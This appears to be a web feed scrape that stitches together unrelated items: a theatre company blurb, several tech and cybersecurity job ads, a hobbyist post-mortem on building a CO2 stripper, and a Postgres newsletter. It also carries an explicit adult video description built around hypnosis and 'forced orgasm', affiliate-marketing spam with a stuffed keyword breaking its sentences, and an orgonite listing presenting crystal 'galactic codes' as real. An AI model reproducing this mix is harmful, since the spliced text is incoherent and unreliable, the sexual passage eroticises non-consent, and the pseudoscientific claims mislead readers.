[Pictured: Actors Andrew O'Shanick and Noah Plomgren. Photo courtesy of Alabama Shakespeare Festival.]

Alabama Shakespeare Festival is a not-for-profit organization under the direction of Artistic Director Rick Dildine and Executive Director Todd Schmidt. As a beloved Alabama arts institution, ASF broadens the cultural identity of the South by producing the classics, Shakespeare, contemporary plays, musicals, theatre for young audiences, and exciting new works. A leader in education and outreach, ASF serves more than 40,000 students annually with artistic programming. ASF is supported by grants from the Alabama State Council on the Arts and the National Endowment for the Arts.


          

Professions: Security Consultant - Lehi, Utah

 Cache   
Security Consultant If you are a Security Consultant with web app pentesting experience, please read on!Based in Lehi, UT, we are a growing security consulting firm providing sophisticated adversary simulation and custom pentesting solutions to a suite of clients. We support continuous learning with our world-class training programs for red teaming, which have been used by the military and at DEFCON. Top Reasons to Work with Us - Our tools are custom and our methodology is proven- We are leaders in red teaming and pentesting services- We value our employees, and provide them with comprehensive benefits and work/life balance What You Will Be Doing This is a hands-on position performing penetration tests for customer network, web, wireless, and mobile applications. Our security consultants will create their own security tools if necessary, and will write exploits based on customer requirements. What You Need for this Position 2+ Years of experience and knowledge of:- Penetration testing - burp suite, metaploit, nessus, nmap, Kali Linux- Programming (Python, Java, C/C++, Ruby, PHP)- Threat modeling- Red teaming (physical security, adversary emulation, social engineering)- Windows, Linux OS What's In It for You - Diverse security training- Variety of projects & innovative technologies- Comprehensive benefits- PTO & holidays So, if you are a Security Consultant with experience, please apply today! - Applicants must be authorized to work in the U.S. CyberCoders, Inc is proud to be an Equal Opportunity Employer All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, national origin, disability, protected veteran status, or any other characteristic protected by law. Your Right to Work In compliance with federal law, all persons hired will be required to verify identity and eligibility to work in the United States and to complete the required employment eligibility verification document form upon hire. ()
          

Engineering: RF Engineer - Lindon, Utah

 Cache   
Opportunity: The engineer will be responsible for leading complex embedded RF hardware designs. The ideal candidate will have a deep understanding of RF theory, PAs, LNAs, and transceivers with an emphasis on microcontroller based RF designs. This position is responsible for product requirement generation, circuit design, schematic design, layout direction and review, working with software engineers, design verification testing, documentation, working with the production test team and interfacing with the supply chain team. Essential Job Functions & Responsibilities:--- Bring new RF module hardware designs to market.--- Explore advanced technologies, develop prototypes and models for new products and features. --- Participate in high-level project analysis, technical specification, and project scoping.--- Identify tasks required to achieve major project milestones and foresee potential technical problems in their implementation.--- Design and execute assigned sections of projects in a timely and effective manner.--- Provide technical leadership on assigned projects. Work with peers to obtain project goals. Participate as a contributing member on cross-functional project teams.--- Participate in appropriate training and development programs to maintain and enhance job-related skills. Requirements:--- BSEE or appropriate degree and 3+/- years related work experience in the design of equipment, components or circuitry. --- LabVIEW programming experience for design verification testing is desired.--- Experience designing board level transceivers. Need experience optimizing matching circuits and eliminating spurious emissions so that global emissions standards can be met. Need experience using RF signal generator, spectrum analyzer, call box, network analyzer, oscilloscope and power supply. Design experience with one or more of the following protocols - LTE-M, NB-IoT, LoRa, 801.15.4, 802.11. --- Other desired RF skills - familiarity with HFSS and ability to design embedded antennas.--- Experience designing microprocessor based systems. Familiarity with Altium or other layout program for schematic entry needed. Experience in test automation required, LabVIEW preferred. Execution of design verification test plans. Specification writing for design verification testing and production testing. Willingness to contribute to tasks outside normal boundaries as needed including supporting MOL, production test development etc.--- Ability to work with all other members of a team regardless of seniority. Desire for mentoring junior engineers or interns appreciated. Good communication skills needed in email and talking. Word and Excel familiarity assumed. ()
          

IT / Software / Systems: Software Engineer (Java) - Salt Lake City, Utah

 Cache   
Accelerate Your CareerDrive global technology?With more than $2 billion in revenues, CDK Global is a leading global provider of integrated information technology and digital marketing solutions to the automotive retail and adjacent industries.?Focused on enabling end-to-end automotive commerce, CDK provides solutions to dealers in more than 100 countries around the world, serving approximately 28,000?retail locations and most automotive?manufacturers.?? CDK Global solutions automate and integrate critical processes from pre-sale targeted advertising to the sale, financing, insurance, parts?supply, repair and maintenance of vehicles, with an increasing focus on utilizing data analytics and predictive intelligence.????We?re large enough to make a difference but small enough for your voice to be heard. This means that we are an organization where every person matters. You can make an impact on the success of our business and that of our customers regardless of what career you decide to pursue.?From data scientists to sales and client service experts, we?re hiring to support your growth and ours -?Green?light your career.??We are looking for a skilled individual to help us stay current with cutting edge technologies. We are a Java shop and have a great software package we are pushing to new levels. Docker, Kubernetes, AWS, and Services; these are a few of the technologies we are using and will be using, and we need skilled qualified engineers to join us in utilizing these technologies to make what we do even better.-- We have a great group of engineers to work, with a lot of tenure. Engineers like to stay when they become part of our team (Lightspeed family).--Skills: Communication is key to what we do. You need to be a collaborative engineer Ability to learn new programming languages Test, test and more tests.-- We like to have our code covered in as much testing as possible Excellent organizational skills Understanding of Computer Science concepts including Data Structures, Methods, Number Systems, Algorithm Analysis and Product Development Cycles--Requirements: Deep understanding of the Java language Experience with enterprise architectures Experience with SQL and interactions with RDBMS Experience with API---s--Great if experienced with: Linux Operating Systems Kotlin language skills a plus Worked with PostgreSQL Agile Methodologies Good working knowledge of network communications. Docker and Docker orchestration, Kubernetes a plus. Knowledge of AWS/GCP and its services Service and/or Micro Service architectures Experience programming in React.--Education:BS in Computer Science or related field or equivalent experience level--?CDK Global knows you have passions outside of work. ?You have family, friends, sporting events, and lots of things going on. ? That?s why we offer a comprehensive benefits package to not only take care of you but your family as well. ? All of our benefits are effective the first day of employment including 401K matching, paid time off to re-energize, donate your time to volunteer in your community, and tuition reimbursement to name a few.?CDK Global is an Equal Opportunity Employer; Minorities/Women/Veterans/Disabled. We believe that diversity in all aspects of business leads to strength. ()
          

IT / Software / Systems: Business Intelligence Developer - Salt Lake City, Utah

 Cache   
Are you looking for a friendly, fast-paced workplace with an emphasis on providing real, visible impact to a variety of stakeholders? Snap Finance is a thriving leader in the financial services industry, and our team members are the foundation of our success. Snap knows that happy, empowered, and engaged team members are essential to innovation and business success - and our approach is working. Come join us!We are looking for a BI Developer who can analyze audiences to build reports, dashboards, and insights that keep them informed. The ideal candidate should have an understanding of the principles and practices of coding basic reports, data manipulation, and data querying. The candidate should also be to communicate with managers and executives to ensure business requirements are being met. This BI Developer will support our senior developers, data scientists, and a variety of executive managers in ensuring consistent, accurate data delivery. The Job...-- Work with stakeholders to gather business requirements-- Query PostgreSQL database for relevant data-- Design, code and implement reports and dashboards-- Be able to handle feedback and iterate on projects-- Apply best practices to ensure quick turnaround without creating tech debt-- Maintain and own responsibility for projects You...-- Bachelor's with relevant coding experience preferred-- 1-2 years academic or professional experience in data wrangling, manipulation and visualization-- SQL and relational databases such as PostgreSQL-- Programming using Python or R-- Working with unstructured or semi-structured datasets-- Strong analytical and problem-solving skills-- Excellent communication skills with the ability to clearly explain technical topics to a non-technical audience-- Team-oriented but able to complete tasks independently at a high standard-- Structured, organized, and detail-oriented-- Proactive, enthusiastic, and flexible-- Fluency in English, both in oral and written form-- Ability to take projects from conceptualization to implementationMust be able to work onsite in our Salt Lake City office Why You'll Love It Here----- Generous paid time off-- Competitive medical, dental & vision coverage-- 401K with company match-- Company-paid life insurance + supplemental options-- Company-paid short-term disability-- Long term disability and legal coverage-- Pet insurance, free snacks, and fun events-- A value-based culture where growth opportunities are endless More---Snap values diversity, and all qualified applicants will be considered for employment without attention to race, color, religion, sex, sexual orientation, gender identity, national origin, veteran or disability status. Learn more by visiting our website at ()
          

Primal’s ROBO KINK – Cassidy Klein hypnotized

 Cache   
Primal’s ROBO KINK – Cassidy Klein hypnotized Testing Susceptibility first to determine Cassidy’s potential. Then proceed to each step: Induction Testing Programming Posing Nude Posing Part Two: Kitten Training with toy and laser Part Three: Mesmerizing Mantra Forced Orgasm with vibrator Part Four: Oral Sex Trigger Words, inducing blowjob Part Five: Full Sex Trigger words, […]
          

Használt autó, elektromos autó és tablet webáruház: There's No Time Like The Present To Start Making Money With Afffiliate Marketing

 Cache   

There's No Time Like The Present To Start Making Money With Afffiliate Marketing

 

Some people just have a knack for marketing and thus make great elektromos autó affiliates after they learn a little bit about the business. There is good news for those who don't have a knack for it: You can still learn everything the pros know and eventually grow a successful business. Here are some great tips on the topic.

Be honest about who is in your elektromos autó affiliate program. If the readers suspect something amiss, they may just bypass you and go directly to that vendor's site. Doing this means that you will not get paid for a sale. You need to prevent that. Build a loyal fan base through trust and honesty.

Use content marketing to sell elektromos autó affiliate products. Most people will not buy a product through an elektromos autó affiliate link without any prior information about the product or what it can do for them. To increase future sales send potential customers to an authority website where you regularly provide helpful advice related to the niche your elektromos autó affiliate product falls into. Include your elektromos autó affiliate link on the site.

As an elektromos autó affiliate marketer only recommend products you trust to people. The first thing you should do when marketing any product is to at least read up on it and find out the true information, if not test the product out for yourself. If it is a garbage product that you're promoting, your name could be ruined before you get off the ground.

There is no shame in an elektromos autó affiliate asking his or her email subscribers to send that mail out to other people they know. Creating your own tiered reward system as an elektromos autó affiliate is a proven way to improve on your commission rates. And as a bonus, your customers may become elektromos autó affiliates, and you can exponentially increase your earnings.

You don't have to limit yourself to just making one website, expand your profit potential. If you start to see success after your first website, then make another website and double your profit potential on a monthly basis. Plus after you make your first website and go through all the procedures of getting into elektromos autó affiliate marketing it should be easier to make another because you're already familiar with the process.

Set up an elektromos autó affiliate marketing system so that you can have elektromos autó affiliates promoting your articles for you. This is good for everyone because it helps promote your product or service and it helps the elektromos autó affiliates earn money. By delegating the job of spreading your articles, you widen your circle of readers and followers.

There's all kinds of advice online about how you should conduct your elektromos autó affiliate marketing business, and most of strategies will work with patience and consistency. The key is to choose one course of action and stay with it. Use pay-per-click or e-mail marketing or blogging. Don't spread yourself too thin by trying to do all of them at once. Master one form of marketing and get good at it.

Be positive! It's always important that your elektromos autó affiliate campaign uses positive language when promoting a product. You cannot speak in any negative context whatsoever, and that includes speaking badly of the competition! People need to hear that your product is the best on the market, but they don't want to hear you attack the other product.

Be sure to go to a site like Amazon.com and view items there that may be similar to the product that you are trying to sell. You can leave comments and include your own url in your comments. That may be a way for you to take some business away from your competition.

If you want to make a lot of money with elektromos autó affiliate marketing, you need to sell something you would buy yourself. Everyone wants to buy items that are high quality for a great price. So, when selecting what you're going to sell, you must consider if you would buy it yourself.

If you are interested in getting involved in elektromos autó affiliate marketing it is extremely important that you educate yourself on the subject. Search out all the pertinent information that you can find. Learn the basic principles of programming, HTML, data feed manipulation, and creating custom links. The more knowledge that you have, the better off you will be.

Choose a niche market to sell to. Don't try to sell a different elektromos autó affiliate product to everyone. This dilutes your efforts and confuses your readers. Stay focused on products and services that serve customers in your specific niche. This will build up trust with your readers, increasing the chance that they will come back and buy your latest offerings.

You should definitely inquire about the sales tracking systems that a company employs prior to agreeing to be one of their elektromos autó affiliate marketers. This is so that you can be sure that you will be appropriately credited for every sale that you bring them regardless of how that sale is made. Their tracking systems should be able to credit you for phone orders, online orders, e-mail orders, and basically every other way that they accept orders. Any company that is serious about their elektromos autó affiliate marketing program will have such systems already in place.

The signs of a company running an effective elektromos autó affiliate marketing program include quality resources for their elektromos autó affiliate marketers. These resources can consist of web graphics such as banners and logos, e-mail or letter templates, and marketing strategy guides based on past success from their program. You should definitely look to see if a company offers these resources not only because they can help you, but also because it is proof that the company is serious about selling their product and helping you sell them.

Something that all elektromos autó affiliate marketers should understand is that in order to make the most amount of money possible, you have to make sure you are dealing with reputable elektromos autó affiliate marketing programs. There are companies out there that are scams or are bad at paying out what they owe. Do your research to find a company you can trust.

Knowing what it takes to become a successful elektromos autó affiliate is half of what you will need to get by in the business. The other half comes with correctly implementing what you have learned. Make sure that you're absorbing this information so that you can accurately and effectively put it into action for you.

Megosztom Facebookon! Megosztom Twitteren! Megosztom Tumblren!


          

CO2 Stripper Postmortem Thoughts

 Cache   
Published on November 30, 2019 9:20 PM UTC

[EDIT: A crucial consideration was pointed out in the comments. For all the designs I've looked at, it's cheaper to just get a heat exchanger and ventilation fans, and blow the air outside/pull it inside and eat the extra heating costs/throw on an extra layer of clothing, than it is to buy a CO2 stripper. There's still an application niche for poorly ventilated rooms without windows, but that describes a lot fewer occasions than my previous dreams of commercial use.]


So, I have finally completed building a CO2 stripper that removes CO2 from the air to (hopefully) improve cognition in environments with high CO2 levels. In California, the weather is pretty good so it's easy to just crack a window at any point during the year, but other areas get quite cold during the winter or quite warm during summer and it's infeasible to open a window unless you want to spend an awful lot of money on heating or cooling bills. It didn't work quite as well as the math indicated at first, but the whole thing is built, and basically functional. The rest of this post will be a reflection on the lessons learned while doing so.


1: In hardware, ideas are cheap, execution is expensive

So, the fundamental idea is extremely simple once you have some basic knowledge of chemistry. The goal is to get CO2 into some form that isn't the gas form, via some sort of chemical reaction.

Submarines and CO2 capture from flue gas use a reversible reaction with ethanolamines, where they absorb CO2 at high temperatures and release it at low temperatures. Reversible reactions are good for making waste, but heating up and cooling down large quantities of liquid takes an awful lot of energy. Submarines have nuclear reactors onboard, and flue gas is hot, but we don't necessarily have the energy required. Also ethanolamines are toxic and hard to get a hold of for a civilian and really stinky, being the major component of "submarine smell".

Adsorption onto zeolites is also plausible, but the issue is that it requires alternately exposing the zeolites to high air pressure and low air pressure, and high airflow is required. The combination of high pressure and high airflow means that again, you're using a lot of energy. The basic math is as follows: One human produces about 1 kg of CO2 in 24 hours. We can idealize a perfect CO2 stripper as a magic box that inhales air and spits it out at 0 ppm. If you want a steady-state concentration of 500 ppm for 2 people, then we can see how much air-flow is required to lock up 2 kg of CO2 in 24 hours. This comes out to about 100 cubic feet per minute. This is the bare minimum air flow for any CO2 stripper, but in this particular case, it corresponds to a 25 horsepower air compressor, which is 18 kilowatts. This is equivalent to running 5 electric dryers at once. So that one is out too, especially since we were assuming 100% efficiency at eliminating CO2.

What about irreversible reactions? Just lock the CO2 up as a solid waste? Well, to begin with, this is going to produce quite a waste stream, and consume quite a bit of chemicals, you'd better hope it's safe and that the feed chemical is cheap. The reaction used on space missions used lithium hydroxide. The basic idea is that lithium hydroxide makes a very basic solution. Carbon dioxide is slightly acidic, so it dissolves very fast into basic solutions. Then you get precipitation of lithium carbonate which is safe.

The problem is that lithium hydroxide is quite expensive. It was used on space missions because it's the most mass-efficient way of doing that sort of reaction and every gram counts in space missions, but we want the cheapest way of doing that reaction.

And then we hit upon the perfect solution. Calcium hydroxide. It's an extremely cheap bulk chemical, 15 bucks for a 50-pound sack of it at a hardware store. It's fairly mild as far as hydroxides go, being pH 12.4. So instead of giving you horrible chemical burns, it's safe to handle unless you're exposed to it for over an hour at a time without washing it off. It's the alkaline analogue of the difference between 1 M hydrochloric acid, and lemon juice. And when it reacts with CO2, it makes CaCO3, aka limestone, which is totally harmless. In fact, it's a common laboratory demonstration that breathing onto a solution of this stuff produces a white film/crust on the top, which is the CO2 in the breath locked up as solid limestone. It's the obvious choice if you're trying to remove CO2 via chemical means.

And in fact, in the SSC comment section, someone else independently had the exact same idea! Just lock up CO2 with calcium hydroxide!

The simplicity of an idea in the field of atoms instead of bits doesn't necessarily mean that anyone on earth has ever done it before, though, or will ever do it, and I'm not worried about anyone scooping the idea, because building novel hardware is hard enough to provide a natural barrier to entry unless it's a large company that's interested in the idea. Ideas are cheap, execution is expensive, in both time and money.

2: Only polymaths need apply

If you're trying to build a novel machine in your garage, and aren't working as part of an engineering team, you will either need an improbably wide range of knowledge, or the general ability to pick up whatever you need to learn. There's the basic knowledge of chemistry to spot that this is the obvious reaction to go for, but the full design requires:

Familiarity with wastewater aerators to know what to buy to prevent clogging with solids, knowledge on which materials won't react with your chemicals, the math of air flow in pipes, the ability to read fan pressure/airflow curves, the ability to go from "I want a circuit that does this" to building a novel electronic circuit on a breadboard without frying anything important, enough programming knowledge to write some basic arduino code, familiarity with hazardous waste disposal regulations in your state, familiarity with waste dewatering techniques, familiarity with which sort of pumps can pump sludge instead of pure water, some electrical engineering knowledge to work safely with 220V power without frying yourself or anyone else, knowledge of soundproofing, and especially the familiarity with everything at Home Depot that lets you home in on the most efficient and foolproof way of building a thing that does what you want. Probably some other stuff too that I consider obvious but others might not.

Now, most of this is pretty easy to pick up given enough starting mental firepower, and the sense of what to google for. Or just having lots of experience with building material things.

Having one of the relevant fields of knowledge manifests itself as knowing ahead of time which approaches will work and which will fail and what solutions past work in the area has already found.

For some of these, missing it will manifest as not knowing that there's an incoming bullet in a particular area, like not knowing that fine bubble aerators will promptly clog if there's lots of particulates in the water, or not suspecting that high air flow rates are incompatible with small pipe (I knew the latter one and it still almost got me until I idly decided to work out airflow velocity in the pipe and realized it was around 200 mph)

3: The planning fallacy is huge here.

So, it wound up costing a lot more than I thought and taking a lot longer than I thought. The mechanism of why the planning fallacy hits so hard here is tied in with the design process. What happens is that you start out with a sketchy outline of all the component parts (like, "I need something that automatically dispenses chemical powder"), and as it becomes time to build a part, you drill down further and further in fleshing out the details until eventually you've drilled down far enough for your design to Actually Work in reality. While you do this, you will inevitably come across parts that are a lot harder to do than you expected, which you were glossing over on the first pass. The shiny black box of "build a chemical dispenser" looks more tractable than "how the fuck do I build a motor mounting plate with my inadequate tools", which you didn't initially suspect you had to do because you weren't thinking at that level of detail. And also as you address the parts that are easy to do, all that is left is the parts that are hard or annoying or time-consuming to do, which can be somewhat demoralizing.

Same sort of thing goes with cost. You start out with "so here's the cost for the big parts and everything else that's left shouldn't cost that much" (black-box warning on "everything else"!), and then you go to Home Depot and pick up a bunch of 4-inch ABS pipe and black glue and all the 90 degree and T pieces you need for the aeration pipes and look at the cost and it's 100 bucks. Home Depot trips add up shockingly fast. There's also all the stuff you buy that you don't eventually end up using because the design evolves as you actually try to build it, like buying gears when you don't actually need gears, and all the stuff you didn't think you had to buy but it turns out that you do need it.

And sometimes you just get hit with some problem you didn't expect at all and now have to fix, like "my fan is making a screaming noise, what do"

4. Why is there a valley of death?

Universities and the government funds basic research. Then there's the private sector of business. The gap between the two, where you have to go from basic research to a business selling the new exciting thing is called the "valley of death". Now, you'd think this is what R&D is for. But a lot of R&D from a business seems to be focused on marginal improvements to existing things that already fall under the scope of what the existing business does, and not so much on building a novel thing that can be the seed of a new business. Building a novel thing requires a wide knowledge base, as discussed before, and inevitably takes a lot more money and time than expected. It's the sort of thing done by inventors in a garage as a project of love, not the sort of thing you get paid to do.

Further, crossing the valley of death requires both the technical capacity to build the thing, and the business skills to make a new business from scratch. If you have several people with different skills joined together, it can be bridged, but one flaw of doing it alone is that there are a lot more inventors with the ability to build the thing, than inventors with the ability to build the thing and also the ability or willingness to start a business that sells the thing. I'm in the former category. I can build it, but I hate building it and if I have to build all the machines myself to sell, I'd flatly reject it, and I really don't want to be responsible for running a business selling it, I'd have no idea how to run a business, and it'd eat too much time. My dream is to get a design good enough to sell, patent it, find someone willing to make a business out of it, and just receive a cut of profits without having to be involved in anything more regarding the production or selling of the machines, besides helping out with technical design work. Further, someone with just the business skills won't necessarily have the technical ability to come up with the machine in the first place, let alone build it. And there's also the lemon market problem of businesspeople identifying competent non-scam technical people with a viable design, and technical people finding competent non-scam businesspeople.

There are further issues such as designing the new invention such that it is robust and keeps working for a while (not a property that prototypes generally have), and designing it such that it is easy to build and maintain (also not usually a property associated with garage prototypes).

I've heard that there's a company in the UK that takes garage prototypes and updates the design for robustness, easy constructibility, and cost, which seems like an important part of closing the valley.

5. Building alone vs building as part of a team.

In a certain sense, I was blessed on this project, because I had complete control over the entire design. I had to contend with no meetings, and no unexpected changes to parts of the design that were already locked in, and no team decisions that were dumb and couldn't possibly work. It's the dream for anyone who dislikes group projects in engineering. All failures are attributable to me alone, as well as all successes. Then again, having someone else to work on the project with me definitely would have sped it up and I could rely on their knowledge of things I was ignorant of, relaxing the polymath requirement. Maybe there's an optimal design team size? I guess it'd depend on how parallelizable the work is, as well as how decision-making-quality scales with group size.

6. Final diagnosis and where to go from here.

So, it was over-time and over-budget and didn't work as well as I had hoped, but it does indeed work. Planning fallacy is a huge obstacle here, and I now certainly see why there's a valley of death for this sort of work.

In order to make a version that's practical for domestic use, I'd have to redo the design to be a rain-column design, primarily because it only requires high airflow, instead of the combination of high airflow and high pressure, which requires buying an expensive fan from China and the expensive electronic components which provide the appropriate power to operate the fan. A rain column design could use a much cheaper and simpler fan that operates from a wall outlet.

Further, in order for others interested in CO2 reduction to have one of their own, I'd have to team up with someone who could make a small business in assembling and selling these things, preferably involving someone who is not me building the relevant thing. PM me if interested.







Discuss
          

B-Tree Index Improvements in Postgres 12

 Cache   

#333 — November 27, 2019

Read on the Web

Postgres Weekly

B-Tree Index Improvements in Postgres 12 — B-tree indexes have been improved in Postgres v12 - this article describes some easily understood examples. It won’t affect most users but there are some performance benefits, particularly for databases stored on media with poor random read performance (e.g. magnetic storage).

Laurenz Albe

12 Common Mistakes and Missed Optimization Opportunities in SQL — A lengthy list of SQL “dos and don’ts” covering topics like timezones, ranges, formatting queries, and unions.

Haki Benita

Multitenancy Options in Postgres — A high-level overview of the Postgres architecture helps provide some contextual understanding of the multitenancy options available with Postgres. Download this white paper to learn more about the three main Postgres multitenancy options.

EnterpriseDB sponsor

How To Get Started with pgBackRest on Postgres 12pgBackRest is a backup and restore tool for Postgres that now takes advantages of some of the new features in Postgres 12. Here’s how to set up and configure it.

Tom Swartz

Deploying and Configuring Postgres with Puppet — Runs through the installation and programming of Puppet modules (Puppet being a popular open source config management and deployment system) for deploying/configuring your databases.

Hugo Dias

Converting from Asynchronous to Synchronous Replication in PostgreSQL — Shows you how to install a PostgreSQL Cluster from scratch and convert the asynchronous replication (default) to a synchronous one.

Sebastian Insausti

An Overview of VACUUM Processing in Postgres

Kumar Rajeev Rastogi

Sum Types for Relational Databases — A look at different ways to encode sum types.

Dmitry Olshansky

Waiting for PostgreSQL 13: Allow Invisible PROMPT2 in psql — This is a really minor thing in the grand scheme of things but psql in Postgres 13 will make prompts a little nicer when entering multi-line queries.

Hubert depesz Lubaczewski

📂 Code and Projects

PGLoader: A Data Loading Tool for Migrating to Postgres — A COPY-based data loading tool that supports both parallelism and can load in data that may be partially erroneous but without stopping (as \copy might).

Dimitri Fontaine

eBook: Best Practices for Optimizing Postgres Query Performance — Learn how to get a 3x performance improvement on your Postgres database and 500x reduced data loaded from disk in this free pganalyze eBook.

pganalyze sponsor

pg_simdjson: An Extension for Parsing JSON using simdjson — This is a prototype/experiment for now but I like seeing things like this out there. This extension uses the high performance simdjson parser to (slightly, so far) outperform Postgres’s native JSON parser.

Dmitry Dolgov

pg_query_state: A Module for Query Progress Monitoring

Postgres Professional

🗓 Upcoming Events

  • 2Q PGCONF 2019 (December 4-5, 2019 in Chicago) — A conference dedicated to exchanging knowledge about the world’s most advanced open source database: PostgreSQL.
  • PgDay SF (January 21, 2020 in San Francisco) — A 1-day, single-track Postgres event.
  • PgConf.Russia (Febuary 3-5, 2020 in Moscow, Russia) — One day of tutorials and two days of talks in three parallel sessions.
  • PGConf India (Febuary 26-28, 2020 in Bengaluru, Maharashtra, India) — A dedicated training day and a multi-track two-day conference.
  • pgDay Paris 2020 (March 26, 2020 in Paris, France) — Learn more about the world’s most advanced open source database among your peers.
  • Swiss PGDay 2020 (June 18-19, 2020 in Switzerland) — A two track conference (one in English, one in German) aimed at the entire Postgres community.

          

Architectural Designer | AiC Architecture

 Cache   
Tampa, Florida, Qualifications & Job Description Assist Firm Principals and Senior Management during the programming phases, space planning, architectural and interior design processes from initial conceptual des
          

Relocation Readiness Program Educator - Fort Drum, NY | Cornell University

 Cache   
Fort Drum, New York, This position will serve as the Relocation Readiness Program Educator for Cornell Cooperative Extension Association of Jefferson County and will implement Relocation Readiness programming for a menu
          

Financial Readiness Program Educator - Fort Drum, NY | Cornell University

 Cache   
Fort Drum, New York, This position will serve as the Financial Readiness Program Educator for Cornell Cooperative Extension Association of Jefferson County and will implement Financial Readiness programming for a menu of
          

Place Order for Lenovo Laptops on EMI with EMI Network - New Delhi, NCT of Delhi

 Cache   
Looking for a laptop for programming or video editing, choose the Lenovo laptop, available at easy no cost EMI. From the Bajaj Finserv EMI Network, you can also browse lucrative offers on Laptops. To make your Laptop shopping easier, the ...
          

Orgonite ® Generators - 3M Adhesive - EMF Disks - Phone - Computer - Car - Ipad by CirculateEnergy

 Cache   

16.00 USD

These devices are built as harmonization tools. These cannot - in any way - be programmed for low vibrational thought forms. It’s existence can only assist the collective rise to new heights. ‼️ This is important to consider when buying energy tools from ANYONE. Be sure you CONNECT to the creator to feel if they AUTHENTICALLY resonate with you. Let your intuition guide you. I INVITE you to ask questions and connect with me before purchasing. 💗

✨ Special note about my work:
In my work - I am simply a facilitator of crystals. Everything is made fluidly, similar to channeling art. All crystal know who they will be going home to. I intuit my work as the crystals communicate to you before you even receive your device. Each device will resonate a frequency to you and if you feel called to it, that is not by mistake.

--

Crystal technology // Orgone generator designed with re-harmonizing frequencies, intentions and crystals to bring spiritual awareness, joy, creativity and protection in your field.

All devices can be programmed (but work regardless of your belief system) - I suggest programming them to your specific desires (love, joy, prosperity, protection etc) as they work 10 fold with intention. You create your own reality, so take it upon yourself to manifest all that you desire with focus, intention, feeling and action.

Each device is functional art sculptures. No two are alike! ♥ Each device can take anywhere from 1-3 days to make due to the layering involved. If you are called towards crystal technology and orgone devices, I recommend doing your own research. Try googling Wilhelm Reich, Orgone Generators, Orgone Energy and Crystal Consciousness. I find that self-education on metaphysical / quantum technology is the best way to re-member the power within and without.

Each piece is created with quality crystals that were cleansed with tensor rings, re-harmonized with crystal bowls/tuning forks, smudged with Palo Santo, re-programmed under a vogel crystal light rack and encoded with galactic codes.

♥ Made with love and cosmic light ♥

Orgonite® was invented by Austrian Karl Hans Welz. He improved on Wilhelm Reich’s Orgone Accumulator by creating a device made of metal particles cast in resin. Welz coined the term Orgonite® and trademarked the name.

/// healing crystal are spiritual allies to healing and are not meant as health care information or prescriptions ///

LICENSEE is a licensed distributor of Orgone Generator® and Orgonite® which are trademarks owned by Karl Hans Welz, the inventor of these devices and the brand Orgonite®, which is famous as one of the most high quality experimental energy substances available


          

Cyber Security Architect

 Cache   
Cyber Security Architect - Citi Cyber Security Architect - Citi Cyber Security Architect - Citi

Attention CYBER SECURITY ARCHITECTS

Are you a highly talented CYBER SECURITY ARCHITECT? Are you looking for the PERFECT work/life balance? Do you have experience in the Automation Industry? Want a highly rewarding salary package AND work from home?
Then look no further.....

Due to my clients continuous success and growth, they are looking to expand their Cyber Department and hire a highly Talented CYBER SECURITY ARCHITECT, whose duties will include:

- The development of security solutions for existing key clients.
- Implementation of security controls along side some of Germany's Top engineers from leading car manufacturer
- Review penetrations testes and risk analysis
- Ensure the successful development of end-to-end security standards and best practices.
- Research and investigate relevant technological innovations for connected cars.

What YOU must bring to the table:

- University degree in computer sciences, electrical engineering or related technical discipline
- Knowledgeable in the field of programming
- Profound experience in the field of software or hardware system architect design
- Experienced in cyber security with specific focus on secure design
- Exposure in the automotive industry is a plus
- Fluent in German and English
- Willingness to travel within Germany and abroad

What we OFFER you in return:

- Attractive salary, bonus and benefit packages
- flat hierarchies and creative leeway
- Remote home work
- Family like working atmosphere with an international and dynamic team
- Flexible working hours and working under your own initiative
- Very Unique career development opportunities
- Close cooperation with the R&D department of the world's leading car manufacturer

    Uzņēmums: CV-Library
    Darba veids: Pilna laika
    Alga:
    EUR 59.700 - EUR 76.700 / Katru gadu

          

Cyber Security Risk Analyst

 Cache   
Cyber Security Risk Analyst - Citi Cyber Security Risk Analyst - Citi Cyber Security Risk Analyst - Citi

Attention CYBER SECURITY RISK ANALYST

Are you a highly talented CYBER SECURITY RISK ANALYST? Are you looking for the PERFECT work/life balance? Do you have experience in the Automation Industry? Want a highly rewarding salary package AND work from home?
Then look no further.....

Due to my clients continuous success and growth, they are looking to expand their Cyber Department and hire a highly Talented CYBER SECURITY RISK ANALYST, whose duties will include:

- Maintenance of threat catalogues
- Carry out risk assessment of entire systems starting from concept phase as well as specified modules.
- Review penetrations testes and risk analysis
- Ensure the successful development of end-to-end security standards and best practices.
- Research and investigate relevant technological innovations for connected cars.

What YOU must bring to the table:

- University degree in computer sciences, electrical engineering or related technical discipline
- Knowledgeable in the field of programming
- Develop high-profile security requirements and mitigations
- Ensure the development and implementation of security concepts in accordance to the requested risk assessment
- Ensure the implementation of security concepts in the general architecture

Bonus Points if you HAVE:

- Experience in cryptography, identity management, application development/security, pen testing and code analysis.
- Automotive industry/IoT/ Application Providing
- Consulting and solution design

Personal Skills:

- Motivated, Independent, creative and result-driven individual
- Strong verbal and written interpersonal communication skills
- Fluent in German and English
- Willingness to travel within Germany and abroad

What we OFFER you in return:

- Attractive salary, bonus and benefit packages
- flat hierarchies and creative leeway
- Remote home work
- Family like working atmosphere with an international and dynamic team
- Flexible work

    Uzņēmums: CV-Library
    Darba veids: Pilna laika
    Alga:
    EUR 59.700 - EUR 76.700 / Katru gadu

          

Embedded Security Specialist

 Cache   
Embedded Security Specialist - Citi Embedded Security Specialist - Citi Embedded Security Specialist - Citi

Attention EMBEDDED SECURITY SPECIALIST

Are you a highly talented EMBEDDED SECURITY SPECIALIST ? Are you looking for the PERFECT work/life balance? Do you have experience in the Automation Industry? Want a highly rewarding salary package AND work from home?

Then look no further.....

Due to my clients continuous success and growth, they are looking to expand their Cyber Department and hire a highly Talented EMBEDDED SECURITY SPECIALIST.

whose duties will include:

- Reviewing automotive cybersecurity technical design documents and requirement specifications

- Work alongside other security experts to discuss testing of the security requirements for topics you’re not familiar with yourself.

- Create test procedures and test cases for testing automotive cybersecurity requirements.

- Contribute and share your own security knowledge and findings within the interdisciplinary team to allow team members with different backgrounds to produce a faster progress when working on security related topics.

- Diagnose and coordinate pre-conditions for functional tests with the customer

- Provide reliable status reports and forecasts

-Reinforce the test automation experts during test implementations and execution

What YOU must bring to the table:

- University degree in computer sciences, electrical engineering or related technical discipline

- Knowledgeable in the field of IT-Security technologies.

- Great analytical and programming skills

- High interest into new innovative technologies with an ability to pick up new skills and knowledge

- Ability to work in a intercultural (German/Israeli) environment

- Fluent in German and English

What we OFFER you in return:

- Attractive salary, bonus and benefit packages

